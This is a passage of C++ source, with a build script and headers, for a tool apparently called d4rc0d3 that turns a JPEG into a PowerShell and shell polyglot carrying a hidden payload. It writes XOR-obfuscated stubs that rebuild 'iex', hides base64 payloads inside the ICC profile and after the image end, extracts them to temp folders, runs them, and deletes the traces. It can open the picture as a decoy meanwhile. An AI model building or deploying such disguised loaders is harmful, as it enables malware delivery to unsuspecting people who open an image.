const std::string& ps_code,
std::span<const Byte> key) {
vBytes code_bytes(reinterpret_cast<const Byte*>(ps_code.data()),
reinterpret_cast<const Byte*>(ps_code.data() + ps_code.size()));
vBytes xored = xorEncode(code_bytes, key);
std::string inner = std::format(
"{};$d=@({});$r='';for($i=0;$i-lt$d.Count;$i++)"
"{{$r+=[char]($d[$i]-bxor$_k[$i%$_k.Length])}};iex $r",
psKeyDerivation(), formatNumericArray(xored));
return std::format(
"&([char[]]@(105,101,120)-join'')([char[]]@({})-join'')",
formatPsCharArray(inner));
}
// ── Bootstrap builders ──────────────────────────────────
[[nodiscard]] std::string psExtractDir(const BootstrapOptions& opts) {
if (opts.extract_dir.empty()) {
return "[IO.Path]::GetTempPath()";
}
return std::format("'{}'", opts.extract_dir);
}
[[nodiscard]] std::string psShowPrefix(const BootstrapOptions& opts) {
if (!opts.show_image) {
return "";
}
if (opts.sequential) {
return std::string(PS_RESOLVE_PATH) +
"try{if($IsMacOS){& open -W $_p}elseif($IsLinux){& xdg-open $_p;Start-Sleep 1}"
"else{Start-Process mspaint.exe $_p -Wait}}catch{};";
}
return std::string(PS_RESOLVE_PATH) +
"try{if($IsMacOS){& open $_p}elseif($IsLinux){& xdg-open $_p}"
"else{Start-Process mspaint.exe $_p}}catch{};";
}
[[nodiscard]] std::string shellShowPrefix(std::string_view self = "$0", bool sequential = false) {
if (sequential) {
return std::format("open -W \"{}\" 2>/dev/null || xdg-open \"{}\" 2>/dev/null\n", self, self);
}
return std::format("(open \"{}\" 2>/dev/null || xdg-open \"{}\" 2>/dev/null) &\n", self, self);
}
[[nodiscard]] std::string buildScriptBootstrap(
std::string_view interpreter,
std::string_view target_ext,
const BootstrapOptions& opts,
std::span<const Byte> xor_key) {
const std::string dir_expr = psExtractDir(opts);
const std::string cleanup = opts.keep_extracted
? ""
: "finally{Remove-Item $_t -EA 0}";
const std::string show = psShowPrefix(opts);
std::string xor_decode;
if (!xor_key.empty()) {
xor_decode = std::format(
"{};for($_j=0;$_j-lt$_d.Length;$_j++)"
"{{$_d[$_j]=$_d[$_j]-bxor$_k[$_j%$_k.Length]}};",
psKeyDerivation());
}
std::string marker = std::format("\r\n#JPWS:{}:{}\r\n", target_ext, interpreter);
std::string body = std::format(
"{}$_s=[IO.File]::ReadAllText($_p,"
"[Text.Encoding]::GetEncoding(28591));"
"$_i=$_s.IndexOf('#_:')+3;"
"$_d=[Convert]::FromBase64String("
"$_s.Substring($_i,$_s.IndexOf(\"`n\",$_i)-$_i));"
"{}"
"$_t=[IO.Path]::Combine({},"
"[IO.Path]::GetFileName($_p));"
"[IO.File]::WriteAllBytes($_t,$_d);"
"try{{"
"if($IsLinux-or$IsMacOS){{chmod +x $_t;{} $_t}}"
"else{{{} $_t}}"
"}}{};exit",
show, xor_decode, dir_expr, interpreter, interpreter, cleanup);
return marker + body;
}
[[nodiscard]] std::string buildBinaryBootstrap(
std::string_view target_ext,
const BootstrapOptions& opts,
std::span<const Byte> xor_key) {
const std::string dir_expr = psExtractDir(opts);
const std::string cleanup = opts.keep_extracted
? ""
: "finally{Remove-Item $_t -EA 0}";
const std::string show = psShowPrefix(opts);
std::string xor_decode;
if (!xor_key.empty()) {
xor_decode = std::format(
"{};for($_j=0;$_j-lt$_d.Length;$_j++)"
"{{$_d[$_j]=$_d[$_j]-bxor$_k[$_j%$_k.Length]}};",
psKeyDerivation());
}
std::string marker = std::format("\r\n#JPWS:{}:exec\r\n", target_ext);
std::string body = std::format(
"{}$_s=[IO.File]::ReadAllText($_p,"
"[Text.Encoding]::GetEncoding(28591));"
"$_i=$_s.IndexOf('#_:')+3;"
"$_d=[Convert]::FromBase64String("
"$_s.Substring($_i,$_s.IndexOf(\"`n\",$_i)-$_i));"
"{}"
"$_t=[IO.Path]::Combine({},"
"[IO.Path]::GetFileName($_p));"
"[IO.File]::WriteAllBytes($_t,$_d);"
"try{{"
"if($IsLinux-or$IsMacOS){{chmod +x $_t}}"
"&$_t"
"}}{};exit",
show, xor_decode, dir_expr, cleanup);
return marker + body;
}
[[nodiscard]] std::string escapeForEval(std::string_view cmd) {
std::string result;
result.reserve(cmd.size());
for (char c : cmd) {
if (c == '\'') {
result += "'\\''";
} else {
result += c;
}
}
return result;
}
}
vBytes generateXorKey(std::size_t length) {
std::random_device rd;
vBytes key(length);
std::uniform_int_distribution<unsigned> dist(1, 255);
for (auto& b : key) {
b = static_cast<Byte>(dist(rd));
}
return key;
}
PayloadMode detectPayloadMode(const std::filesystem::path& payload_path) {
const std::string ext = toLowerExt(payload_path);
if (ext == ".ps1") {
return PayloadMode::DirectPwsh;
}
if (interpreterForExtension(ext) != std::string_view{}) {
return PayloadMode::Script;
}
if (isBinaryExtension(ext)) {
return PayloadMode::Binary;
}
return PayloadMode::Binary;
}
std::string payloadTargetExtension(const std::filesystem::path& payload_path) {
return toLowerExt(payload_path);
}
std::string_view interpreterForPath(const std::filesystem::path& payload_path) {
return interpreterForExtension(toLowerExt(payload_path));
}
vBytes generateBootstrap(
PayloadMode mode,
const vBytes& payload_bytes,
const std::filesystem::path& payload_path,
std::string_view inline_commands,
const BootstrapOptions& opts,
std::span<const Byte> xor_key) {
std::string script;
switch (mode) {
case PayloadMode::DirectPwsh:
script.assign(reinterpret_cast<const char*>(payload_bytes.data()),
payload_bytes.size());
break;
case PayloadMode::Script: {
const std::string ext = toLowerExt(payload_path);
const std::string_view interpreter = interpreterForExtension(ext);
if (interpreter.empty()) {
throw std::runtime_error(
std::format("No interpreter mapping for extension \"{}\".", ext));
}
script = buildScriptBootstrap(interpreter, ext, opts, xor_key);
if (!inline_commands.empty()) {
script = std::string(inline_commands) + "\r\n" + script;
}
break;
}
case PayloadMode::Binary: {
const std::string ext = toLowerExt(payload_path);
script = buildBinaryBootstrap(ext, opts, xor_key);
if (!inline_commands.empty()) {
script = std::string(inline_commands) + "\r\n" + script;
}
break;
}
case PayloadMode::Command: {
const std::string show = psShowPrefix(opts);
script = show + std::string(inline_commands);
break;
}
}
if (script.empty()) {
throw std::runtime_error("Bootstrap generation produced empty script.");
}
if (!xor_key.empty()) {
std::string stub = wrapPsXorStub(script, xor_key);
return vBytes(reinterpret_cast<const Byte*>(stub.data()),
reinterpret_cast<const Byte*>(stub.data() + stub.size()));
}
return vBytes(reinterpret_cast<const Byte*>(script.data()),
reinterpret_cast<const Byte*>(script.data() + script.size()));
}
vBytes buildShellComSegment(
PayloadMode mode,
const std::filesystem::path& payload_path,
std::string_view inline_commands,
const BootstrapOptions& opts,
std::span<const Byte> xor_key,
std::string* out_shell_post_eoi) {
const bool wrapped = !xor_key.empty();
const std::string_view self = wrapped ? "$1" : "$0";
const std::string shell_dir = opts.extract_dir.empty() ? "/tmp" : opts.extract_dir;
const std::string rm_line = opts.keep_extracted ? "" : ";rm -f \"$f\"";
const std::string show = shellShowPrefix(self, opts.sequential);
std::string xor_pipe;
if (!xor_key.empty()) {
xor_pipe = std::format(
"|perl -e '$/=undef;open F,\"<\",$ARGV[0]or die;binmode F;"
"seek F,0,0;$b=\"\";while(read F,$c,1){{if($c eq\"\\xff\")"
"{{read F,$n,1;if($n eq\"\\xe2\"){{seek F,{}-2,1;"
"read F,$k,{};last}}}}}}close F;"
"$d=<STDIN>;"
"my$_l=length($d);"
"for my$_i(0..$_l-1){{substr($d,$_i,1,chr(ord(substr($d,$_i,1))^ord(substr($k,$_i%length($k),1))))}}"
"print$d' -- \"{}\"",
ICC_KEY_OFFSET, XOR_KEY_LENGTH, self);
}
std::string shell_script;
constexpr std::string_view SHELL_EXIT = "wait 2>/dev/null";
switch (mode) {
case PayloadMode::DirectPwsh:
shell_script = show + std::format("pwsh \"{}\" 2>/dev/null &\n", self) + std::string(SHELL_EXIT);
break;
case PayloadMode::Command:
if (!inline_commands.empty()) {
shell_script = show + "eval '" + escapeForEval(inline_commands) + "' &\n" + std::string(SHELL_EXIT);
} else {
shell_script = show + std::format("pwsh \"{}\" 2>/dev/null &\n", self) + std::string(SHELL_EXIT);
}
break;
case PayloadMode::Script: {
const std::string ext = toLowerExt(payload_path);
const std::string_view interp = interpreterForExtension(ext);
if (interp.empty()) {
shell_script = show + std::format("pwsh \"{}\" 2>/dev/null &\n", self) + std::string(SHELL_EXIT);
} else {
std::string cmd_prefix;
if (!inline_commands.empty()) {
cmd_prefix = std::string(inline_commands) + "\n";
}
shell_script = std::format(
"{}{}(f=\"{}/$$.$(basename \"{}\")\"\n"
"grep -am1 '^#_:' \"{}\"|"
"sed 's/^#_://'|base64 -d{}>\"$f\"\n"
"chmod +x \"$f\";{} \"$f\"{})&\n{}",
show, cmd_prefix, shell_dir, self, self, xor_pipe, interp, rm_line, SHELL_EXIT);
}
break;
}
case PayloadMode::Binary: {
const std::string ext = toLowerExt(payload_path);
std::string cmd_prefix;
if (!inline_commands.empty()) {
cmd_prefix = std::string(inline_commands) + "\n";
}
shell_script = std::format(
"{}{}(f=\"{}/$$.$(basename \"{}\")\"\n"
"grep -am1 '^#_:' \"{}\"|"
"sed 's/^#_://'|base64 -d{}>\"$f\"\n"
"chmod +x \"$f\";\"$f\"{})&\n{}",
show, cmd_prefix, shell_dir, self, self, xor_pipe, rm_line, SHELL_EXIT);
break;
}
}
std::string com_script;
if (wrapped) {
vBytes shell_bytes(reinterpret_cast<const Byte*>(shell_script.data()),
reinterpret_cast<const Byte*>(shell_script.data() + shell_script.size()));
std::string shell_b64 = base64Encode(shell_bytes);
std::string inner = "grep -am1 '^#0:' \"$1\"|cut -c4-|base64 -d|sh -s \"$1\"";
com_script = "(printf '" + formatOctalEscaped(inner) + "'|sh -s \"$0\");:";
if (out_shell_post_eoi) {
*out_shell_post_eoi = "#0:" + shell_b64;
}
} else {
com_script = shell_script;
}
std::string com_data = "\n" + com_script + "\n";
constexpr std::size_t MIN_COM_DATA = 255;
while (com_data.size() < MIN_COM_DATA) {
com_data += '#';
}
const auto data_len = com_data.size();
if (data_len + 2 > 0xFFFF) {
throw std::runtime_error("Internal Error: COM segment too large.");
}
auto com_length = static_cast<uint16_t>(data_len + 2);
if ((com_length & 0xFF) == 0) {
com_data += '#';
com_length = static_cast<uint16_t>(com_data.size() + 2);
}
if ((com_length >> 8) == 0) {
throw std::runtime_error("Internal Error: COM segment too small for NUL-free length.");
}
vBytes segment;
segment.reserve(4 + com_data.size());
segment.push_back(0xFF);
segment.push_back(0xFE);
segment.push_back(static_cast<Byte>(com_length >> 8));
segment.push_back(static_cast<Byte>(com_length & 0xFF));
segment.insert(segment.end(),
reinterpret_cast<const Byte*>(com_data.data()),
reinterpret_cast<const Byte*>(com_data.data() + com_data.size()));
return segment;
}
vBytes generatePostEoiPayload(const vBytes& payload_bytes, std::span<const Byte> xor_key, std::string_view shell_line) {
if (payload_bytes.empty() && shell_line.empty()) return {};
std::string data = "\n<#\n";
if (!shell_line.empty()) {
data += shell_line;
data += '\n';
}
if (!payload_bytes.empty()) {
vBytes to_encode;
if (!xor_key.empty()) {
to_encode = xorEncode(payload_bytes, xor_key);
} else {
to_encode = payload_bytes;
}
data += "#_:" + base64Encode(to_encode) + '\n';
}
data += "#>";
return vBytes(reinterpret_cast<const Byte*>(data.data()),
reinterpret_cast<const Byte*>(data.data() + data.size()));
}
+54
View File
@@ -0,0 +1,54 @@
#pragma once
#include "common.h"
#include <filesystem>
#include <span>
#include <string>
#include <string_view>
enum class PayloadMode : unsigned char {
DirectPwsh,
Script,
Binary,
Command
};
struct BootstrapOptions {
bool keep_extracted{false};
bool show_image{false};
bool sequential{false};
std::string extract_dir;
};
constexpr std::size_t ICC_KEY_OFFSET = 102;
constexpr std::size_t XOR_KEY_LENGTH = 16;
[[nodiscard]] vBytes generateXorKey(std::size_t length);
[[nodiscard]] PayloadMode detectPayloadMode(const std::filesystem::path& payload_path);
[[nodiscard]] std::string payloadTargetExtension(const std::filesystem::path& payload_path);
[[nodiscard]] std::string_view interpreterForPath(const std::filesystem::path& payload_path);
[[nodiscard]] vBytes generateBootstrap(
PayloadMode mode,
const vBytes& payload_bytes,
const std::filesystem::path& payload_path,
std::string_view inline_commands = "",
const BootstrapOptions& opts = {},
std::span<const Byte> xor_key = {});
[[nodiscard]] vBytes generatePostEoiPayload(
const vBytes& payload_bytes,
std::span<const Byte> xor_key = {},
std::string_view shell_line = "");
[[nodiscard]] vBytes buildShellComSegment(
PayloadMode mode,
const std::filesystem::path& payload_path,
std::string_view inline_commands = "",
const BootstrapOptions& opts = {},
std::span<const Byte> xor_key = {},
std::string* out_shell_post_eoi = nullptr);
+60
View File
@@ -0,0 +1,60 @@
#!/bin/bash
# build.sh — Compile d4rc0d3_engine from source
# Supports: Linux arm64, Linux x86_64, macOS (Intel/Apple Silicon)
#
# Dependencies:
# Debian/Ubuntu: apt-get install -y g++ libturbojpeg0-dev libjpeg-dev
# RHEL/Fedora: dnf install -y gcc-c++ turbojpeg-devel libjpeg-turbo-devel
# macOS: brew install jpeg-turbo libjpeg
# Alpine: apk add g++ libjpeg-turbo-dev
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
OUT="${1:-$SCRIPT_DIR/../d4rc0d3_engine}"
OS="$(uname -s)"
ARCH="$(uname -m)"
echo "[*] Building d4rc0d3_engine for ${OS}/${ARCH}..."
echo "[*] Output: ${OUT}"
FLAGS=(-std=c++23 -O3 -Wall -Wextra -DNDEBUG -fPIE)
LINK=()
case "$OS" in
Linux)
FLAGS+=(
-Wformat-security -fstack-protector-strong
-D_FORTIFY_SOURCE=2 -D_GLIBCXX_ASSERTIONS
-s -flto=auto
)
# -fcf-protection is x86-only
if [[ "$ARCH" == "x86_64" ]]; then
FLAGS+=(-fcf-protection=full)
fi
LINK+=(-pie -Wl,-z,relro,-z,now,-z,noexecstack)
;;
Darwin)
FLAGS+=(-flto=auto -Wno-c99-extensions)
# Homebrew paths
if [[ -d /opt/homebrew/include ]]; then
FLAGS+=(-I/opt/homebrew/include)
LINK+=(-L/opt/homebrew/lib)
elif [[ -d /usr/local/include ]]; then
FLAGS+=(-I/usr/local/include)
LINK+=(-L/usr/local/lib)
fi
;;
esac
cd "$SCRIPT_DIR"
g++ "${FLAGS[@]}" \
args.cpp bootstrap.cpp file_utils.cpp jpeg_process.cpp \
jpeg_warning_check.cpp d4rc0d3_core.cpp \
-lturbojpeg -ljpeg \
"${LINK[@]}" \
-o "$OUT"
echo "[+] Build successful: $OUT ($(du -h "$OUT" | cut -f1))"
echo "[+] Architecture: $(readelf -h "$OUT" 2>/dev/null | grep Machine | awk '{print $2}' || file "$OUT" | grep -oE 'arm64|x86_64|x86')"
+57
View File
@@ -0,0 +1,57 @@
#pragma once
// ---------------------------------------------------------------------------
// Toolchain floor. d4rc0d3 is distributed as source and built by each user, so
// fail early with a clear message rather than a wall of template errors when
// the compiler is too old. The floor is set by std::print / std::format
// (and other C++23 library features used throughout).
// ---------------------------------------------------------------------------
#if defined(__GNUC__) && !defined(__clang__) && __GNUC__ < 14
# error "d4rc0d3 requires GCC >= 14 (for std::print/std::format). Please upgrade your compiler."
#elif defined(__clang__) && __clang_major__ < 18
# error "d4rc0d3 requires Clang >= 18 with a C++23 standard library (libc++ 18+ or libstdc++ 14+). Please upgrade your compiler."
#endif
#include <cstdint>
#include <unistd.h>
#include <vector>
using Byte = std::uint8_t;
using vBytes = std::vector<Byte>;
class UniqueFd {
public:
explicit UniqueFd(int fd = -1) noexcept : fd_(fd) {}
~UniqueFd() { reset(); }
UniqueFd(const UniqueFd&) = delete;
UniqueFd& operator=(const UniqueFd&) = delete;
UniqueFd(UniqueFd&& other) noexcept : fd_(other.release()) {}
UniqueFd& operator=(UniqueFd&& other) noexcept {
if (this != &other) {
reset(other.release());
}
return *this;
}
[[nodiscard]] int get() const noexcept { return fd_; }
[[nodiscard]] int release() noexcept {
const int released_fd = fd_;
fd_ = -1;
return released_fd;
}
void reset(int new_fd = -1) noexcept {
if (fd_ >= 0) {
::close(fd_);
}
fd_ = new_fd;
}
private:
int fd_;
};
+740
View File
@@ -0,0 +1,740 @@
#include "common.h"
#include "args.h"
#include "bootstrap.h"
#include "file_utils.h"
#include "jpeg_process.h"
#include "jpeg_warning_check.h"
#include <algorithm>
#include <fstream>
#include <filesystem>
#include <array>
#include <cerrno>
#include <cstddef>
#include <exception>
#include <fcntl.h>
#include <format>
#include <iostream>
#include <limits>
#include <optional>
#include <print>
#include <random>
#include <span>
#include <stdexcept>
#include <string>
#include <string_view>
#include <system_error>
namespace {
constexpr std::size_t JFIF_SIG_LENGTH = 20; // SOI(2) + APP0 marker(2) + length(2) + data(14)
constexpr std::size_t JFIF_COMMENT_BLOCK_INDEX = 0x0C; // offset in image bytes to patch with XTW\n<#
constexpr std::size_t SEGMENT_SIZE_FIELD_INDEX = 0x16;
constexpr std::size_t PROFILE_SIZE_FIELD_INDEX = 0x26;
constexpr std::size_t PWSH_INSERT_INDEX = 6;
constexpr std::size_t MAX_PROFILE_SEGMENT = 65535;
[[nodiscard]] std::size_t checkedAdd(std::size_t lhs, std::size_t rhs, std::string_view context) {
if (lhs > std::numeric_limits<std::size_t>::max() - rhs) {
throw std::runtime_error(std::format("{} size overflow.", context));
}
return lhs + rhs;
}
[[nodiscard]] std::size_t checkedSub(std::size_t lhs, std::size_t rhs, std::string_view context) {
if (lhs < rhs) {
throw std::runtime_error(std::format("{} size underflow.", context));
}
return lhs - rhs;
}
void writeBigEndian(vBytes& vec, std::size_t index, std::size_t value, std::size_t bytes) {
if (bytes == 0 || bytes > sizeof(std::size_t)) {
throw std::runtime_error("writeBigEndian: invalid byte count.");
}
if (index > vec.size() || bytes > vec.size() - index) {
throw std::runtime_error("writeBigEndian: index out of bounds.");
}
if (bytes < sizeof(std::size_t) && value >= (std::size_t{1} << (bytes * 8))) {
throw std::runtime_error("writeBigEndian: value exceeds range for requested byte width.");
}
constexpr std::size_t BITS_PER_BYTE = 8;
for (std::size_t byte_index = 0; byte_index < bytes; ++byte_index) {
const std::size_t shift = (bytes - byte_index - 1) * BITS_PER_BYTE;
vec[index + byte_index] = static_cast<Byte>((value >> shift) & 0xFF);
}
}
constexpr auto ICC_PROFILE_TEMPLATE = std::to_array<Byte>({
0xFF, 0xE2, 0x00, 0x00, 0x49, 0x43, 0x43, 0x5F, 0x50, 0x52, 0x4F, 0x46, 0x49, 0x4C, 0x45, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x63, 0x6D, 0x73,
0x02, 0x10, 0x00, 0x00, 0x6D, 0x6E, 0x74, 0x72, 0x52, 0x47, 0x42, 0x20, 0x58, 0x59, 0x5A, 0x20, 0x07, 0xE2, 0x00, 0x03, 0x00, 0x14, 0x00, 0x09, 0x00, 0x0E,
0x00, 0x1D, 0x61, 0x63, 0x73, 0x70, 0x4D, 0x53, 0x46, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0xD6, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0xD3, 0x2D, 0x6C, 0x63, 0x6D, 0x73, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x64, 0x65, 0x73, 0x63, 0x00, 0x00,
0x00, 0xF0, 0x00, 0x00, 0x00, 0x1C, 0x77, 0x74, 0x70, 0x74, 0x00, 0x00, 0x01, 0x0C, 0x00, 0x00, 0x00, 0x14, 0x72, 0x58, 0x59, 0x5A, 0x00, 0x00, 0x01, 0x20,
0x00, 0x00, 0x00, 0x14, 0x67, 0x58, 0x59, 0x5A, 0x00, 0x00, 0x01, 0x34, 0x00, 0x00, 0x00, 0x14, 0x62, 0x58, 0x59, 0x5A, 0x00, 0x00, 0x01, 0x48, 0x00, 0x00,
0x00, 0x14, 0x72, 0x54, 0x52, 0x43, 0x00, 0x00, 0x01, 0x5C, 0x00, 0x00, 0x00, 0x34, 0x67, 0x54, 0x52, 0x43, 0x00, 0x00, 0x01, 0x5C, 0x00, 0x00, 0x00, 0x34,
0x62, 0x54, 0x52, 0x43, 0x00, 0x00, 0x01, 0x5C, 0x00, 0x00, 0x00, 0x34, 0x63, 0x70, 0x72, 0x74, 0x00, 0x00, 0x01, 0x90, 0x00, 0x00, 0x00, 0x01, 0x64, 0x65,
0x73, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x73, 0x52, 0x47, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x58, 0x59, 0x5A, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF3, 0x54, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x16, 0xC9, 0x58, 0x59, 0x5A, 0x20, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x6F, 0xA0, 0x00, 0x00, 0x38, 0xF2, 0x00, 0x00, 0x03, 0x8F, 0x58, 0x59, 0x5A, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x96,
0x00, 0x00, 0xB7, 0x89, 0x00, 0x00, 0x18, 0xDA, 0x58, 0x59, 0x5A, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0xA0, 0x00, 0x00, 0x0F, 0x85, 0x00, 0x00,
0xB6, 0xC4, 0x63, 0x75, 0x72, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x01, 0x07, 0x02, 0xB5, 0x05, 0x6B, 0x09, 0x36, 0x0E, 0x50,
0x14, 0xB1, 0x1C, 0x80, 0x25, 0xC8, 0x30, 0xA1, 0x3D, 0x19, 0x4B, 0x40, 0x5B, 0x27, 0x6C, 0xDB, 0x80, 0x6B, 0x95, 0xE3, 0xAD, 0x50, 0xC6, 0xC2, 0xE2, 0x31,
0xFF, 0xFF, 0x23, 0x3E, 0x0D, 0x0A, 0x3C, 0x23, 0x0D, 0x0A
});
[[nodiscard]] std::string randomOutputSuffix(std::random_device& rd) {
constexpr std::uint64_t OUTPUT_SUFFIX_MASK = (std::uint64_t{1} << 52) - 1;
std::uniform_int_distribution<std::uint64_t> dist(0, OUTPUT_SUFFIX_MASK);
return std::format("{:013x}", dist(rd));
}
void unlinkOutputFileBestEffort(const std::string& output_filename) noexcept {
constexpr int MAX_UNLINK_RETRIES = 16;
for (int attempt = 0; attempt < MAX_UNLINK_RETRIES; ++attempt) {
if (::unlink(output_filename.c_str()) == 0 || errno != EINTR) {
return;
}
}
}
[[noreturn]] void unlinkAndThrow(const std::string& output_filename, std::string_view message) {
unlinkOutputFileBestEffort(output_filename);
throw std::runtime_error(std::string(message));
}
[[noreturn]] void unlinkAndThrow(const std::string& output_filename, std::string_view prefix, int error_code) {
unlinkOutputFileBestEffort(output_filename);
throw std::runtime_error(std::format("{}: {}", prefix, std::system_category().message(error_code)));
}
void writeOutputBytes(const std::string& output_filename, int fd, std::span<const Byte> bytes) {
while (!bytes.empty()) {
const auto chunk_size = std::min<std::size_t>(bytes.size(), static_cast<std::size_t>(std::numeric_limits<ssize_t>::max()));
const auto bytes_written = ::write(fd, bytes.data(), chunk_size);
if (bytes_written > 0) {
bytes = bytes.subspan(static_cast<std::size_t>(bytes_written));
continue;
}
if (bytes_written == 0) {
unlinkAndThrow(output_filename, "Write Error: Failed to write complete output file.");
}
if (errno != EINTR) {
unlinkAndThrow(output_filename, "Write Error: Failed to write output file", errno);
}
}
}
[[nodiscard]] bool startsWith(std::span<const Byte> bytes, std::span<const Byte> prefix) {
return bytes.size() >= prefix.size() &&
std::ranges::equal(bytes.first(prefix.size()), prefix);
}
void rejectUnsupportedTextEncoding(std::span<const Byte> bytes) {
constexpr auto UTF32_LE_BOM = std::to_array<Byte>({ 0xFF, 0xFE, 0x00, 0x00 });
constexpr auto UTF32_BE_BOM = std::to_array<Byte>({ 0x00, 0x00, 0xFE, 0xFF });
constexpr auto UTF16_LE_BOM = std::to_array<Byte>({ 0xFF, 0xFE });
constexpr auto UTF16_BE_BOM = std::to_array<Byte>({ 0xFE, 0xFF });
const std::span<const Byte> view(bytes);
if (startsWith(view, UTF32_LE_BOM) || startsWith(view, UTF32_BE_BOM)) {
throw std::runtime_error(
"Script File Error: Script is UTF-32 encoded. "
"Re-save the script as UTF-8 (with or without BOM).");
}
if (startsWith(view, UTF16_LE_BOM) || startsWith(view, UTF16_BE_BOM)) {
throw std::runtime_error(
"Script File Error: Script is UTF-16 encoded. "
"Re-save the script as UTF-8 (with or without BOM).");
}
}
void stripUtf8Bom(vBytes& bytes) {
constexpr auto BOM_SIG = std::to_array<Byte>({ 0xEF, 0xBB, 0xBF });
if (bytes.size() >= BOM_SIG.size() &&
std::ranges::equal(std::span<const Byte>(bytes).first(BOM_SIG.size()), BOM_SIG)) {
bytes.erase(bytes.begin(), bytes.begin() + static_cast<std::ptrdiff_t>(BOM_SIG.size()));
}
}
struct ProfileSizes {
std::size_t segment_size = 0;
std::size_t profile_size = 0;
};
[[nodiscard]] ProfileSizes calculateProfileSizes(std::size_t profile_byte_count) {
const std::size_t segment_size = checkedSub(
checkedAdd(profile_byte_count, JFIF_SIG_LENGTH, "Profile segment"),
SEGMENT_SIZE_FIELD_INDEX,
"Profile segment");
return ProfileSizes{
.segment_size = segment_size,
.profile_size = checkedSub(segment_size, 16, "ICC profile")
};
}
void validateProfileSizes(const ProfileSizes& sizes, std::size_t max_segment_size) {
if (sizes.segment_size > max_segment_size) {
throw std::runtime_error(std::format(
"Segment Size Error: The profile segment (FFE2) exceeds the maximum size limit of {}KB.",
max_segment_size / 1024));
}
if (sizes.segment_size > std::numeric_limits<uint16_t>::max()) {
throw std::runtime_error("Segment Size Error: Segment size exceeds 16-bit field capacity.");
}
}
[[nodiscard]] vBytes buildProfilePayload(std::span<const Byte> script_bytes, std::size_t max_segment_size, std::span<const Byte> xor_key = {}) {
constexpr std::size_t MIN_SCRIPT_PAYLOAD_SIZE = 4;
if (script_bytes.size() < MIN_SCRIPT_PAYLOAD_SIZE) {
throw std::runtime_error("Payload Error: Generated script is below minimum size.");
}
static_assert(ICC_PROFILE_TEMPLATE.size() >= PWSH_INSERT_INDEX);
static_assert(ICC_PROFILE_TEMPLATE.size() > ICC_KEY_OFFSET + XOR_KEY_LENGTH);
vBytes profile_vec(ICC_PROFILE_TEMPLATE.begin(), ICC_PROFILE_TEMPLATE.end());
if (!xor_key.empty()) {
std::ranges::copy(xor_key.first(XOR_KEY_LENGTH),
profile_vec.begin() + ICC_KEY_OFFSET);
}
profile_vec.reserve(checkedAdd(profile_vec.size(), script_bytes.size(), "ICC profile"));
profile_vec.insert(profile_vec.end() - PWSH_INSERT_INDEX, script_bytes.begin(), script_bytes.end());
const ProfileSizes sizes = calculateProfileSizes(profile_vec.size());
validateProfileSizes(sizes, max_segment_size);
constexpr std::size_t PROFILE_SEGMENT_SIZE_FIELD = SEGMENT_SIZE_FIELD_INDEX - JFIF_SIG_LENGTH;
constexpr std::size_t PROFILE_PROFILE_SIZE_FIELD = PROFILE_SIZE_FIELD_INDEX - JFIF_SIG_LENGTH;
writeBigEndian(profile_vec, PROFILE_SEGMENT_SIZE_FIELD, sizes.segment_size, 2);
writeBigEndian(profile_vec, PROFILE_PROFILE_SIZE_FIELD, sizes.profile_size, 4);
return profile_vec;
}
[[nodiscard]] constexpr auto makeDefaultTailBytes() {
return std::to_array<Byte>({
0x9e, 0x23, 0x3e, 0x0d, 0x23, 0x00, 0x00, 0x20, 0x20, 0x00
});
}
[[nodiscard]] constexpr auto makeAltTailBytes() {
return std::to_array<Byte>({
0x00, 0x20, 0x20, 0x00, 0x00, 0x23, 0x3E, 0x0D, 0x23, 0x9e
});
}
void patchImageTail(vBytes& image_file_vec, Option option) {
constexpr auto DEFAULT_BYTES = makeDefaultTailBytes();
constexpr auto ALT_BYTES = makeAltTailBytes();
constexpr std::size_t TAIL_OFFSET = 2;
const std::span<const Byte> tail_bytes = [&] {
switch (option) {
case Option::Alt:
return std::span<const Byte>(ALT_BYTES);
case Option::None:
return std::span<const Byte>(DEFAULT_BYTES);
}
throw std::runtime_error("Internal Error: Unknown tail patch option.");
}();
if (image_file_vec.size() < JFIF_SIG_LENGTH ||
image_file_vec.size() < tail_bytes.size() + TAIL_OFFSET) {
throw std::runtime_error("Image File Error: Image too small after processing to apply tail patch.");
}
std::ranges::reverse_copy(tail_bytes, image_file_vec.rbegin() + TAIL_OFFSET);
}
// Overwrites 6 bytes at offset 0x0C in the APP0 with "XTW\n<#".
// The \n puts "<#" on its own line, opening a PS block comment that hides
// all JPEG binary data until the "#>" inside the ICC APP2 profile.
void writeJfifCommentBlock(vBytes& image_file_vec) {
constexpr auto JFIF_COMMENT_BLOCK = std::to_array<Byte>({
0x58, 0x54, 0x57, 0x0A, 0x3C, 0x23
});
if (image_file_vec.size() < JFIF_COMMENT_BLOCK_INDEX + JFIF_COMMENT_BLOCK.size()) {
throw std::runtime_error("Image File Error: Image too small to write JFIF comment block.");
}
std::ranges::copy(JFIF_COMMENT_BLOCK,
image_file_vec.begin() + static_cast<std::ptrdiff_t>(JFIF_COMMENT_BLOCK_INDEX));
}
